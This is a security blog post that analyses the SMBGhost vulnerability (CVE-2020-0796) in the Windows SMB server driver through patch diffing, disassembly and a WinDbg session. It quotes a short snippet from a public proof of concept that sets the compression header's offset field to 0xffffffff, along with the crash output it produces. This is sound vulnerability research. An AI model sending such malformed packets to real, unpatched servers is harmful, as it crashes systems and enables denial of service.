SpiderLabs Blog

Windows Debugging and Exploiting Part 5 SMBGhost CVE-2020-0796 Technical Review

Written by Bruno Oliveira | Apr 3, 2020 10:26:00 AM

Introduction

Hi everyone, how are you? I know the times are strange but we should fight together, support each other and hopefully, everything will be fine by the end!

I might be a little bit late to the party but I thought the release of CVE-2020-0796, aka SMBGhost, was an excellent opportunity to add a new part to my series on Windows Debugging. It will give us a chance to add on to the knowledge we've gathered in the first parts and discuss something new and current.

The CVE-2020-0796 was officially disclosed (after some confusion) on March, 13th 2020 and affects Windows Server/10 x86/x64/ARM64 builds 1903 and 1909. Microsoft described it as '’wormable" due to the fact that it could allow for unauthenticated and arbitrary remote code execution. This gives it the capacity to spread automatically over the network and in turn, makes it a very interesting vulnerability to analyze.

In this blog, we will use our lab set up on the first blog post and some techniques discussed in the second, so again, an excellent chance to put together some things we've learned from the last posts for some actual work. 

Analysis

There is already a lot of information out there about SMBGhost including a great post from Synacktiv, but I'll try to be as much educative as possible and present some basic aspects as well.

BinDiff

One approach to discover what is the vulnerability that was patched is comparing the old binary to the patched one. Using tools like IDA Pro + BinDiff we are able to determine what was changed on the file and then do a static analysis on the modifications to identify and understand the vulnerability.

To start, we can follow the strategy below (thank you hugsy!): 

  • Make sure that you are on 1903 or 1909 build -- I've made this mistake too many times so you shouldn't :)
  • Patch the system;
  • Retrieve the patched binary;
  • Reverse the update installation;
  • Retrieve the unpatched binary and you have the system ready for testing!

We know by fact that the binary responsible for the SMB server is the srv2.sys. Open the srv2.sys unpatched version and then compare it to the patched one.

We can see that there are only a few functions distinguishing from each other. One in special: Srv2DecompressData, let's compare the function flow.

So, here it is the vulnerability, there is a buffer allocation right after a mathematical operation (add) utilizing both arguments controlled by the user, unfiltered, and that could trigger an overflow as well as an underflow. 

00000001C0017EC8  mov rax, qword ptr [rsp+58h+Header.ProtocolId]
00000001C0017ECD  xor edx, edx
00000001C0017ECF  shr rax, 20h ;  OriginalCompressedSegmentSize
00000001C0017ED3  shr rcx, 20h ;  OffsetOrLength|
00000001C0017ED7  add ecx, eax
00000001C0017ED9  call cs:__imp_SrvNetAllocateBuffer

To understand where these arguments are placed in the communication, we have to go back to the protocol specifications for understanding.

The OriginalCompressedSegmentSize is used to determine the size of the uncompressed data and OffsetOrLength is for chaining compressed packets as explicit on the official document:


There are no security checks on those parameters since OriginalCompressedSegmentSize and OffsetOrLength are 32 bits unsigned long, we can send unexpected values on those parameters and these will trigger abnormal behaviour at the application, in this case crash the system causing the famous BSoD.

 

Triggering

There are few PoCs available for testing purposes, at this point *only* causing BSoD. We can use any and debug the SMB with WinDBG to check how it behaves internally. 

I used this PoC which is very straight-forward. It uses the smbprotocol library to construct the packet and defines the highest possible value for OffsetOrLength (0xffffffff) described on smbprotocol/connection.py:

1448:    def _compress(self, b_data, session):
1449:       header = SMB2CompressionTransformHeader()
1450:        header['original_size'] = len(b_data)
1451:        header['offset'] = 4294967295
1452:        header['data'] = smbprotocol.lznt1.compress(b_data)

I set a breakpoint on the function and ran the PoC:

Breakpoint 0 hit
srv2!Srv2DecompressData+0x6f:
fffff805`3e1f7ecf 48c1e820        shr rax,20h

0: kd> u

srv2!Srv2DecompressData+0x6f:
fffff805`3e1f7ecf 48c1e820        shr rax,20h
fffff805`3e1f7ed3 48c1e920        shr rcx,20h
fffff805`3e1f7ed7 03c8            add ecx,eax
fffff805`3e1f7ed9 4c8b15489a0200  mov r10,qword ptr [srv2!_imp_SrvNetAllocateBuffer (fffff805`3e221928)]
fffff805`3e1f7ee0 e84be82b00      call srvnet!SrvNetAllocateBuffer (fffff805`3e4b6730)
fffff805`3e1f7ee5 488bd8          mov rbx,rax
fffff805`3e1f7ee8 4885c0          test rax,rax
fffff805`3e1f7eeb 750a            jne srv2!Srv2DecompressData+0x97 (fffff805`3e1f7ef7)

0: kd> r

rax=000001ac424d53fc rbx=ffff850dfa3f9710 rcx=ffffffffffff0001
rdx=0000000000000000 rsi=ffffffffffffffff rdi=ffff850dfa3f9710
rip=fffff8053e1f7ecf rsp=fffffb85e531de70 rbp=0000000000000001
 r8=0000000000000000  r9=0000000000000000 r10=0000000000000000
r11=0000000000000002 r12=0000000000000000 r13=ffff850df9381240
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018 ds=002b  es=002b fs=0053 gs=002b             efl=00040246
[..]

DTARGET: Refreshing KD connection

*** Fatal System Error: 0x00000050
(0xFFFF850EFBEC605F,0x0000000000000000,0xFFFFF80536AEB6F7,0x0000000000000002)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

For analysis of this file, run !analyze -v


The data will trigger the BSoD while executing
srvnet!SmbCompressionDecompress.

It seems that this vulnerability also affects the client (see analysis from McAfee's blog). In that case, the function on the client is triggered in the mrxsmb.sys file.

Conclusion

I really enjoyed taking a look at something like this. It's a very classic vulnerability with a huge risk to the system. We were also able to use some old posts from these series and apply our knowledge on a real vulnerability in a modern Windows system. That's awesome! 

The vulnerability could be very hard to be exploited due to the protections in kernel as KASLR, but maybe I'll prepare something for next post. As you can see, I'm not following any specific order but if you feel that I could write about something, let me know!  Thank you!